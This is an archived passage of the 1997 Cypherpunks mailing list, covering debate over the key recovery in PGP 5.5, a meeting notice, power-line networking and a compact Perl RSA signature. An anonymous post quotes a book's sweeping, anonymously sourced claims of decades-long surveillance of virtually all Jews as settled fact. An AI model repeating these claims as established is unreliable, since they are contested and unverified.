not seem to address the secure deletion problem.

In the context of computer system backup, one paper at the last Usenix
Security Conference suggested implementing secure deletion by encrypting
the data on the backup tape and then destroying the key when you wanted to
delete the data.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 8 Oct 1997 13:53:37 +0800
To: coderpunks@toad.com
Subject: Cypherpunks Bay Area Meeting, This Saturday October 11th, 12-5+
Message-ID: <3.0.3.32.19971007221418.006bd63c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




What:	Cypherpunks October 1997 Bay Area Meeting
When:	Saturday October 11, 12 noon till 17pm
Where:	PGP World Headquarters, 2nd floor meeting room
	Bayview Bank Building, just south of Hwy. 92
	2121 S. El Camino Real, San Mateo California
	http://www.pgp.com/pgpcorp/contactpgp.cgi#head

Agenda:
	12-1 - Introductions, Work in Progress, Milling About
	International Law, Electronic Commerce, and Digital Signature, Cem Kaner 
	Virtual Private Networks - Besides FreeSWAN, there's a lot of VPN
		and other tunneling work in the commercial sector.
		Besides privacy uses, it makes it easier to handle your
		Network 10 or Bogus IP Addresses over the Internet.
	Domain Name Security
	PGP5.5 - The Product.  The politics.
	Patents - Merkle-Hellman and Hellman-Pohlig expire!
	Crypto Politics - what is Congress up to this month?
	
Tentative November Agenda and Location: Eric Hughes has arranged with 
	Lawrence Wilkinson, a principal at GBN <http://www.gbn.org>, 
	to do a one afternoon scenario planning workshop on cryptography.  
	Several other GBN people will also be in attendance.  
	We are planning to hold it at the GBN offices in Emeryville,
	which can hold about 40 fairly easily.

After:
	Eat dinner somewhere yet to be decided...

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty
	(eg. if the guard is on a break), simply call DDT at 
	+1 415 730 3583 he I'll let you in. 
      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 



				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Wed, 8 Oct 1997 11:42:36 +0800
To: Jon Callas <jon@pgp.com>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <Pine.SUN.3.91.971007233333.28520D-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 7 Oct 1997, Jon Callas wrote:

> Like it or not, government has a mandate to protect the people from
> dangerous technologies, be they in foods, drugs, autos, or information
> technologies.

Please tell me where it says this in the U.S. Constitution.

In particular, please tell me where the FEDERAL government is assigned 
this power.

Thank you.

--Charles Platt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Wed, 8 Oct 1997 13:10:35 +0800
To: Jon Callas <minow@apple.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <v0300780ab0609577728b@[209.98.13.223]>
Message-ID: <v03007800b060bf8d9c2d@[209.98.13.103]>
MIME-Version: 1.0
Content-Type: text/plain



In the New York Times Cyber Edition I was quoted as saying that PGP 5.5's
key escrow "sounds like everything the FBI ever dreamed of."  Of course,
that's an overstatement.  The FBI certainly has bigger dreams, like making
non-escrowed encryption illegal.

But PGP's system certainly is key escrow.  PGP, Inc. is splitting hairs,
claiming that their system isn't key escrow because they don't keep copies
of any keys.  This may be true, but it's a difference that makes no
difference.

What the PGP system does is automatically encrypt a copy of the message key
in the public key of the organization.  This is more like the original
Clipper Chip.  If you remember, the Clipper Chip included a Law Enforcement
Access Field in the ciphertext field; this field included the session key,
encrypted in a secret law-enforcement key.  PGP 5.5 essentially does this.
You can think of the message key, encrypted in the public key of the
organization, as the CAF (Corporate Access Field).  And just as the Clipper
Chip checked the validity of the LEAF before going into decrypt mode at the
remote end, there is software at the SMTP server that check the validity of
the CAF before allowing the encrypted e-mail to be sent.  This isn't just
key escrow; it's key escrow done well.

Yes, this is only available in the Business Edition and not in the Personal
Edition.  Yes, the company has to decide to turn it on.  Yes, the user is
notified that this feature is turned on.  But once it is turned on, the
user cannot turn it off.  This is not manditory key escrow (unless you are
an employee of a company that decided it is manditory), but the FBI is not
after manditory key escrow right now.  They're willing to settle for
voluntary.  Then, in a few years, making it manditory can be spun as
"closing a loophole."

I agree with the 1996 Phil Zimmermann:

>http://simson.vineyard.net/clips/96.SJMN.PGPBusinessEdition.html
>....
>                             PRETTY LOOSE PRIVACY
>   [...]
>   Published: April 2, 1996
>   BY SIMSON L. GARFINKEL
>....
>   That has not stopped Zimmermann from complaining loudly about the PGP
>   name being used in a product that allows someone other than the author
>   or the intended recipient access to information. Viacrypt owns the
>   licensing rights to sell the commercial versions of PGP.
>
>   ''PGP does not stand for back doors,'' said Zimmermann. ''I don't mind
>   if they sell a program that has a back door in it, but they shouldn't
>   call it PGP.''
>   [...]
>   ''If your employer can read your mail anytime he wants, without your
>   permission, that goes against the spirit of the PGP trademark,'' said
>   Zimmermann.

Key escrow = someone other than the author or the intended recipient of the
message being able to decrypt it.

There are valid reasons for data backup, but they have nothing to do with
crypto key recovery.  And there are absolutely no business reasons for
manditory recovery of communications.  We talked about all of this in our
report on key recovery (http://www.crypto.com/key_study).  Designing a
system that is slightly different doesn't negate everything we said.

I'm sorry, PGP, if I offended you.  But that does not change the facts.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 8 Oct 1997 14:36:26 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <3.0.3.32.19971007190121.030e8c68@popd.netcruiser>
Message-ID: <199710080627.CAA13391@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971007190121.030e8c68@popd.netcruiser>, on 10/07/97 
   at 07, Jonathan Wienke <JonWienk@ix.netcom.com> said:

>I heard on the ABC hourly news that some genius had figured out a way to
>use electrical power lines for data transmission, so that the power grid
>could be integrated into the Internet.  Does anyone have any details /
>pointers?

This is nothing new.

I think it was GE that several years ago created phone extensions that you
plugged into your power outlets, no need to run wire to put in an extra
outlet. I believe that X-10 uses this same principle for computer control
of household appliances.

Not to mention data leakage through power lines is an issue long reconized
by the TEMPEST crowd.

The trick here seems to be in routing the data. How do you get data on the
power grid routed to the location that you want it to go??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 8 Oct 1997 15:29:37 +0800
To: cypherpunks@cyberpass.net
Subject: What's really in PGP 5.5?
Message-ID: <36e200bba528c46e3694521079832b77@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jon Callas wrote:
>I have a number of comments about the New York Times article on PGP
>5.5 for Business of which Martin Minow sent a synopsis.

>If we had built what they said we had, then we'd deserve of all the
>derision people have directed at us. But we didn't. The New York
>Times got it flat wrong.

In your long message I was unable to locate an area in which the New
York Times "got it flat wrong".  If anything, your post was more
alarming than the newspaper article.

>This downside is particularly insidious for a number of
>reasons. First, without fixing that problem, strong cryptography will
>be in some sort of limbo. You want to use it to protect your valuable
>information, but you won't want to use it for any information that's
>*too* valuable, because it's easily lost. Crypto-protected
>information is fragile, and this fragility could hurt its widespread
>deployment.

What you call "fragility" is properly called "security".  Would you
describe 128-bit keys as more "fragile" than 40-bit keys?  Why is PGP,
Inc. inventing propaganda terms for the authorities?

>Data recovery is useful for a number of things. Perhaps you lost your
>passphrase. Or data might have been encrypted by an employee or co
>worker who was in an accident. (As an aside, fifteen years ago, the
>architect of a product I worked on was in a severe car wreck. He was
>not killed, but suffered brain damage and has never returned to
>work.) Your spouse might need access to financial records. Everyone,
>be they an individual, business, or coporation has a right to having
>their data protected, and protection not only means being able to put
>it into a safe, but getting it out of that safe later.

It is fascinating to me that every example you use does not involve
decrypting transmitted messages.  Yet, that is the feature which is
under discussion.

The demand for the ability to decrypt encrypted messages in the
corporate environment can easily be measured with this test: how many
companies have a policy that requires employees to record all outgoing
mail?

>(6) It must also provide a response to those who would regulate
>crypto in the name of public safety.

This is a red herring.  Nobody has been talking about regulating
cryptography as a matter of public safety in a serious way.  Why is
PGP, Inc. posing non-threats to justify its actions?  Probably because
its actual, all too obvious, motivations are unpalatable to the
cypherpunks and probably to most of its customers and supporters.

They are not unpalatable to Big Brother, however.

I suggest that in the future we do not meet at the PGP, Inc.
headquarters and that we do not treat this company as a trustworthy
ally.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 8 Oct 1997 18:11:56 +0800
To: cypherpunks@cyberpass.net
Subject: Abuse of Authority
Message-ID: <fca8fec8d26947dd22beeb8123a2651f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

These excerpts should be useful to those attempting to understand the
FBI motivations regarding domestic control of cryptography.

- ------------------------------
"The Secret War Against the Jews" by John Loftus and Mark Aarons
Pages 181 to 183.

  Several history books have recorded that American intelligence
agencies have conducted wiretaps against U.S. citizens without
warrants, but these allegations have concerned operations aimed
mostly at the left, particularly Communists and radical black groups.
Our sources say that the history books have missed the most important
elements of this story of the violation of democratic rights: the
systematic electronic eavesdropping employed against American Jews
engaged in legitimate political activities.  In this chapter we
discuss the following allegations:

  - During World II the covert British wiretap program in the United
States against Nazi sympathizers was extended to surveil American
supporters of a Jewish state in Palestine.

  - After the war this program was continued, and massively expanded,
as the British gained the cooperation of FBI director J. Edgar Hoover
and Secretary of Defense James Forrestal for the illegal collection of
electronic intelligence on Zionist activities in the United States.

  - The once highly secret Communications Intelligence arrangements
between Britain and the United States have been deliberately twisted
by the intelligence agencies of both countries to allow illegal
British wiretaps of American Jewish citizens using American
facilities.  A reciprocal arrangement exists in Britain.

  - The illegal campaign against the Jews reached its height during
the Reagan-Bush years in the White House, when even Jewish children in
summer camp were monitored for "subversive" activities.

  - Over the years this illegal arrangement has been extended past
Jews, Communists, and black radicals, to reach virtually any citizen,
including mainstream political candidates, no matter how harmless
their activities may have been.

The "old spies" say that electronic surveillance of Jews started in
1944, when American Zionists were first wiretapped on a broad scale.
The wiretaps were the product of secret wartime agreements between
British and American intelligence calling for long-term cooperation to
spy on each other's "subversive" citizens.  Since that time the
bugging of American and British Jews has never stopped.  In fact, the
wiretaps have been greatly expanded.
  Our sources, who include a former special agent of the FBI, a former
liaison to the NSA, several former NSA officials and employees, a
number of former consultants to both American and British intelligence
on communications security, and several former officers of the
U.S. Army Security Agency, make one point very clearly: <I>For the
last fifty years, virtually every Jewish citizen, organization, and
charity in the world has been the victim of electronic surveillance by
Great Britain, with the knowing and willing assistance of the
intelligence services of the United States.</I>
  This massive and systematic violation of both American and British
law has continued, with only slight interruptions, for nearly half a
century.  As will be seen later in Chapter 12, dealing with the
Liberty incident, electronic espionage has been the most deadly threat
to Israel's existence from its very inception.  It also has been the
most continuous criminal violation of the Fourth Amendment to the
U.S. Bill of Rights (sic).  Jews are not the only ethnic group to be
wiretapped at their homes or jobs, although, as we shall see, they are
the most frequent targets.
  To put it bluntly, no citizen is safe anymore.  Privacy is gone,
search warrants are meaningless, the protections of the courts and
constitutions have been overthrown entirely, without the knowledge or
consent of our legislatures, presidents, or prime ministers.  This
ugly corner of Western history has never been fully explored before.
It is, perhaps, the most shocking revelation of this book.  Because of
the sensitivity of this topic, we deal with it in some detail from the
beginning.
  Our sources' first thesis is simple.  It is not American
intelligence that mounted an intensive surveillance operation against
Ben-Gurion's arms purchases in the United States, and cut off this
promising source of weapons and equipment.  It was British
intelligence that wiretapped American Jewish citizens without warrants
and leaked the information to the FBI.  The truth is that the British
had been eavesdropping on the United States for a very long time.[2]
  The advent of British "electronic" espionage against American
citizens goes back to the end of World War I.  The British knew that
money and guns sent by Irish-Americans were making the difference in
the Republic of Ireland's war for independence against the British
Empire.  The British government compelled American telegraph companies
to hand over all message traffic, in order that it could obtain
intelligence on Irish nationalist and international Communist
activities and take appropriate countermeasures.
  As the heads of the Western Union and other telegraph corporations
revealed to a shocked Senate in 1920, the British were reading all
American telegrams.  Apparently, even official U.S. government
communications were included among the material handed over.[3] As a
result of these revelations, Congress passed a law making it a crime
to intercept telegraphic or diplomatic communications.  There the
matter rested, along with the false legend of Secretary of State Henry
Stimson's edict that "gentlemen do not read each other's mail."[4]
  Rested, that is, until the early years of World War II.  As
previously discussed, while the United States remained technically
neutral, the British secret service obtained Roosevelt's permission
for Sir William Stephenson to establish an illegal wiretap unit in New
York to spy on Americans who were aiding the Nazis.  As discussed in
Chapter 3, several of our sources say that Roosevelt also was using
the British wiretap team to dig up dirt on his political opponents.[5]

Pages 191 to 192:

  Hoover was one of the biggest customers of wiretap information from
its inception.  In fact, the FBI made no bones about its right to
listen in to domestic conversations without a warrant.  It wasn't
until a 1975 court case that the FBI was finally told that they had no
legal right to wiretap individuals or organizations without a warrant,
unless there was a proven "agency relationship" with a foreign power.
In fact, until the stricter 1975 standards, the FBI could wiretap or
place surveillance on any Jew who gave money to any Jewish
organization that supported Israel.  Here is an example of the type of
innocuous information that was forwarded to the FBI as a result of
their obsessive surveillance of American Jews:

  EMMA LAZARUS FOUNDATION OF JEWISH WOMENS CLUBS AMONG LARGER DONORS
  CONTRIBUTING $500 DURING A FUND RAISING DINNER HELD BY THE EMERGENCY
  CIVIL LIBERTIES COMMITTEE . . . [ON] DEC 15 1962 AT THE AMERICANA
  HOTEL NYC IN CELEBRATION OF THE 171ST ANNIVERSARY OF THE BILL OF
  RIGHTS[43]

Apparently, Jews who celebrated the Bill of Rights were considered
potential, if not actual, subversives.  That remains FBI policy to
this day.  The FBI refused to accept the restrictions from an adverse
1975 court ruling and leaked its view to the media in a 1977 memo.
The FBI still defended its right to spy on person who "might" be
supporters of a foreign power, or even anyone in the country who
"might" be influenced by a foreign power.[44]

Pages 194 to 195:

  In 1982, shortly after President Reagan agreed to rescind the
Carter-era restrictions on domestic Communications Intelligence
operations, the FBI was asked to record all information on "potential"
Jewish subversives.  As one source wrote, the wiretapping had nothing
to do with Pollard: "the arrest of Pollard [in 1985] was used as a
pretext to expand a supposedly closed-down illegal covert operation by
the FBI called 'SCOPE' whose purpose was to compile lists of Jews in
government, research, and institutional leadership, et al.  This
operation was revealed publicly in 'The Wall Street Journal', January
17, 1992."[54]  This source believed that "The Wall Street Journal"
article was really an exercise in damage control, an attempt to shift
the blame back to James Jesus Angleton and conceal the ongoing
wiretapping.  While there is some dispute about when and why the
bugging resumed, the consensus of our sources is that the modern
version of Operation Gold is horrendous.  The FBI's collecting has
gone beyond the pale of what could be considered legitimate
intelligence gathering.
  In addition to rosters of major contributors to Israeli funds, the
Bureau has targeted the innocuous activities of children.  "It's just
gotten out of hand. . . . I saw FBI records where they collected lists
of kids going to Jewish summer camp."[55] Other government officials
who reviewed the FBI's "counterterrorist" program against American
Jews said that while they did not catch any terrorists, they collected
a lot of information on Jewish lobbyists.[56]
  Another NSA source alleged that the FBI had custody of the Jewish
surveillance files because a recent law made the FBI's
"counterterrorism" files completely exempt from the Freedom of
Information Act, under a special counterintelligence loophole.[57]
Under the FBI's broad definition of an espionage suspect, anyone who
communicates with a foreign government - for example, who calls a
relative in Israel or donates to a charity that sends funds to Israel
- - gets swept up in the electronic vacuum cleaner.  "Pollard paranoia"
swept through the intelligence community, brushing aside the Bill of
Rights.

Selected footnotes for Chapter 8, "Spying on Zion".

[2] Confidential interviews, former officer, the NSA; former special
agent, FBI, 1982-1989.

[3] "'In July 1919 . . . when British censorship ceased, we were
ordered by the British government to turn over to them all messages
passing between our own offices, 10 days after they were
sent. . . . they wanted these messages only for such supervision as
might give them an inkling of pending disorders within Great Britain,
I assume having to do with Irish unrest, and also to do with Bolshevik
propaganda.'
  "Asked by Senator Kellogg whether the messages turned over to
British intelligence included United States government communications,
the cable chief buckled.  'If you don't mind, I would not like to
answer that,' he pleaded.  'It puts my company in a very embarrassing
position with the British Government.'" James Bamford, "The Puzzle
Palace" (New York: Houghton Mifflin, 1982), pp. 329-330.

[4] Ibid., p. 40.  As one [of] our sources, an expert on NSA history,
pointed out, Stimson did not make that remark at the time.  It first
appeared in a post-World War II biography.

[5] Confidential interviews, former NSA officer; former Special Agent,
FBI, 1982-1989.

[44] Bamford, "The Puzzle Palace", p. 297

[44] "The foreign influence thesis became a courtroom issue in the
Spring of 1977 with the Kearney wiretapping and mail interception
indictment [charges later dropped] based on FBI efforts to locate and
apprehend the Weather Underground fugitives.  A 400-page 'top secret'
report . . . was prepared by FBI researchers and leaked to the press
to establish that no crimes were committed because [of] inherent
executive power, unrestrained by legal or constitutional requirements.
The taps and mail interceptions, the report argued, were legitimate
counter-intelligence practices sanctioned by a reservation in the
Keith case, excluding targets with 'significant connections' with a
foreign power. . . . In June 1975, the vague language of Keith was
sharpened by an appellate court ruling (Zweiborn v. Mitchell) that
mere influence or support of a foreign power did not deprive a
domestic group of the protection of warrant requirements in the
absence of a showing of an actual agency relationship or
collaboration." Donner, "The Age of Surveillance", p. 279.

[54] Confidential source letter, January 7, 1993, p. 3.

[55] Confidential interview, agency withheld to prevent
identification.

[56] Confidential interviews, current and former officers in several
government agencies that liaise with the FBI, including but not
limited to Defense, State, and Justice departments.

[57] Confidential interview, former official, the NSA, 1990.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Wed, 8 Oct 1997 21:55:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Abuse of Authority
In-Reply-To: <fca8fec8d26947dd22beeb8123a2651f@anon.efga.org>
Message-ID: <199710081345.GAA11834@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain




> These excerpts should be useful to those attempting to understand the
> FBI motivations regarding domestic control of cryptography.
>
> - ------------------------------
> "The Secret War Against the Jews" by John Loftus and Mark Aarons
> Pages 181 to 183.
>
>   Several history books have recorded that American intelligence
> agencies have conducted wiretaps against U.S. citizens without

Isn't this better sent to Jewish organizations?  Sending this sort
of stuff here is definitely preaching to the choir.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com
--
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 8 Oct 1997 20:18:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Internet Via Electric Lines? (fwd)
Message-ID: <199710081234.HAA11747@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Wed, 08 Oct 97 01:28:42 -0500
> Subject: Re: Internet Via Electric Lines?

> This is nothing new.

At least late 70's.

> I think it was GE that several years ago created phone extensions that you
> plugged into your power outlets, no need to run wire to put in an extra
> outlet. I believe that X-10 uses this same principle for computer control
> of household appliances.
> 
> Not to mention data leakage through power lines is an issue long reconized
> by the TEMPEST crowd.
> 
> The trick here seems to be in routing the data. How do you get data on the
> power grid routed to the location that you want it to go??

The trick with X-10 is to stay away from transformers as the signal won't go
through them effectively. This ends any dreams of sending data to your
neighbor, the signal won't go through your power meter.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Judith Lewis <canoe@poppy.dyndns.com>
Date: Wed, 8 Oct 1997 23:32:52 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081351.GAA15055@toad.com>
Message-ID: <Pine.LNX.3.95.971008080522.201A-100000@poppy.dyndns.com>
MIME-Version: 1.0
Content-Type: text/plain




Tuesday October 7 2:58 PM EDT

New Power-line Telephone Technology Set To Hit UK

LONDON - Electricity companies may become the latest providers of telephone
and Internet services to your home.

Forget separate lines from telephone or cable companies: you might talk and
send computer data at high speed via existing power cables -- the same lines
that supply electricity to your washing machine and fridge.

The electricity lines have been able to carry telephone signals and computer
data for some time but not in a commercially viable way because they were
too slow.

Britain's Norweb Communications, part of United Utilities, and Canada's
Northern Telecom, however, appear to have developed a new technology to
speed things up considerably.

"The technology has been successfully tested, is ready for the mass market,
has the potential to stimulate major growth in Internet use, and will change
the future for electricity utilities," the firms said in a statement.

They will announce details at a news conference on Wednesday, but media
reports here said the new technology allows computer data to be whizzed
around at more than 10 times the speed of current average Internet modems.

Copyright, Reuters Ltd. All rights reserved

On Wed, 8 Oct 1997, Peter Trei wrote:

> > To:            cypherpunks@cyberpass.net
> > From:          Jonathan Wienke <JonWienk@ix.netcom.com>
> > I heard on the ABC hourly news that some genius had figured out a way
> > to use electrical power lines for data transmission, so that the power
> > grid could be integrated into the Internet.  Does anyone have any
> > details / pointers?
> 
> > Jonathan Wienke
> 
> I've heard of two methods; one is to transmit the data as a high
> frequency FM signal along the wire. The other is to use power lines
> which include an optical fibre. 
> 
> Both have problems. 
> 
> The FM signal has difficulty going through transformers (there are 
> lots of transformers, with the final step-down usually occuring at 
> a pole-top near your house). Also, you have to be very careful about
> isolating the data output from the power line: an error could send
> 110VAC into your serial board. I haven't heard of this method being
> used on a wide scale, but it might work as a LAN.
> 
> The optical method may actually be implemented. Putting a few optical
> fibers into a power line is cheap, easy, and widely done. The
> idea was originally that power companies could read your electrical meter 
> remotely, but the bandwidth available is gross overkill. Thus they 
> are also thinking of adding Cable TV, telephony, and data services.
> 
> There are still problems. You are basically building a data network 
> on top of the power grid, and the topologies don't really match up.
> Also, employees have to be trained to splice optical fibers and
> install routing equipment, and millions of miles of power lines and
> hundreds of millions of junctions need to be replaced or reworked.
> 
> There was a rosy article about this in Wired a few years ago. I have
> heard nothing since.
> 
> Peter Trei
> trei@process.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <ian.sparkes@t-online.de>
Date: Wed, 8 Oct 1997 15:10:58 +0800
To: cypherpunks@toad.com
Subject: Re: If you want Perfect MISTY algorithm
In-Reply-To: <19971008032108.21717.qmail@hotmail.com>
Message-ID: <3.0.2.32.19971008085845.006c3c70@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 20:21 07.10.97 PDT, Nobuki Nakatuji wrote:
>If you want Perfect MISTY algorithm source code,
>Please send e-mail to me.

I've never seen perfect code before, I'd be interested to see some.

>Thank you very much.

No, thank you

>
>
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com
>
>
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Version: PGP for Personal Privacy 5.0
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=RWCs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 8 Oct 1997 21:16:25 +0800
To: Anonymous <cypherpunks@cyberpass.net
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <36e200bba528c46e3694521079832b77@anon.efga.org>
Message-ID: <3.0.2.32.19971008090442.0070305c@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:26 AM 10/8/97 -0400, Anonymous wrote:

>>This downside is particularly insidious for a number of
>>reasons. First, without fixing that problem, strong cryptography will
>>be in some sort of limbo. You want to use it to protect your valuable
>>information, but you won't want to use it for any information that's
>>*too* valuable, because it's easily lost. Crypto-protected
>>information is fragile, and this fragility could hurt its widespread
>>deployment.
>
>What you call "fragility" is properly called "security".  Would you
>describe 128-bit keys as more "fragile" than 40-bit keys?  Why is PGP,
>Inc. inventing propaganda terms for the authorities?

Okay, call it security but the point is, if you're protecting documents vital 
to your company using encryption (say the design of a new product) and the 
person who knows the passphrase dies, you've just lost a great deal of money.

PGP for Business Security gives the business a way to have a backup key that 
can read that person's information.  Frankly, it might not be able to read 
anybody elses, from the description given.

This is a feature that any business (that understands encryption) will want.

They can easily store the secret keys of the other id someplace secure, and 
never retrieve them until someone dies.  Disavow knowledge of them to 
government, etc.  heck, the keys can even be in the primary person's 
posession.   (Perhaps stored in a safe-deposit box, or without a passphrase, 
etc.)

>>Data recovery is useful for a number of things. Perhaps you lost your
>>passphrase. Or data might have been encrypted by an employee or co
>>worker who was in an accident. (As an aside, fifteen years ago, the
>>architect of a product I worked on was in a severe car wreck. He was
>>not killed, but suffered brain damage and has never returned to
>>work.) Your spouse might need access to financial records. Everyone,
>>be they an individual, business, or coporation has a right to having
>>their data protected, and protection not only means being able to put
>>it into a safe, but getting it out of that safe later.
>
>It is fascinating to me that every example you use does not involve
>decrypting transmitted messages.  Yet, that is the feature which is
>under discussion.

Amazingly, he gave an example where, had encryption been used, the project 
would have stopped, and restarted because the person with the keys was 
incapacitated.  Are you just being combative here?

>The demand for the ability to decrypt encrypted messages in the
>corporate environment can easily be measured with this test: how many
>companies have a policy that requires employees to record all outgoing
>mail?

Well, any company giving stock advice (and governed by SEC rules on stock 
tips, etc.) is already require to have all outgoing mail approved (e-mail and 
snail), so does it matter if they record it or not?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNDuE6Tc3ytqHnNyNAQFzTQP/cLBt7fwDLXHyVecvoB3U1y0aRNXA22IH
Eceiuc4itfZjRG4mwokIzrTnhIUeEqF5BommDqDwdXxg/re1JMYETj4v9apD47Lt
nIFVc+mNvKVDQOLtp9cETgepm76IqgHUWZgQxKkgTFtANM5IxXn8IkI51ATd2A3E
hj4npnS3bYQ=
=0Ib2
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 8 Oct 1997 22:07:24 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Via Electric Lines?
Message-ID: <199710081351.GAA15055@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> To:            cypherpunks@cyberpass.net
> From:          Jonathan Wienke <JonWienk@ix.netcom.com>
> I heard on the ABC hourly news that some genius had figured out a way
> to use electrical power lines for data transmission, so that the power
> grid could be integrated into the Internet.  Does anyone have any
> details / pointers?

> Jonathan Wienke

I've heard of two methods; one is to transmit the data as a high
frequency FM signal along the wire. The other is to use power lines
which include an optical fibre. 

Both have problems. 

The FM signal has difficulty going through transformers (there are 
lots of transformers, with the final step-down usually occuring at 
a pole-top near your house). Also, you have to be very careful about
isolating the data output from the power line: an error could send
110VAC into your serial board. I haven't heard of this method being
used on a wide scale, but it might work as a LAN.

The optical method may actually be implemented. Putting a few optical
fibers into a power line is cheap, easy, and widely done. The
idea was originally that power companies could read your electrical meter 
remotely, but the bandwidth available is gross overkill. Thus they 
are also thinking of adding Cable TV, telephony, and data services.

There are still problems. You are basically building a data network 
on top of the power grid, and the topologies don't really match up.
Also, employees have to be trained to splice optical fibers and
install routing equipment, and millions of miles of power lines and
hundreds of millions of junctions need to be replaced or reworked.

There was a rosy article about this in Wired a few years ago. I have
heard nothing since.

Peter Trei
trei@process.com





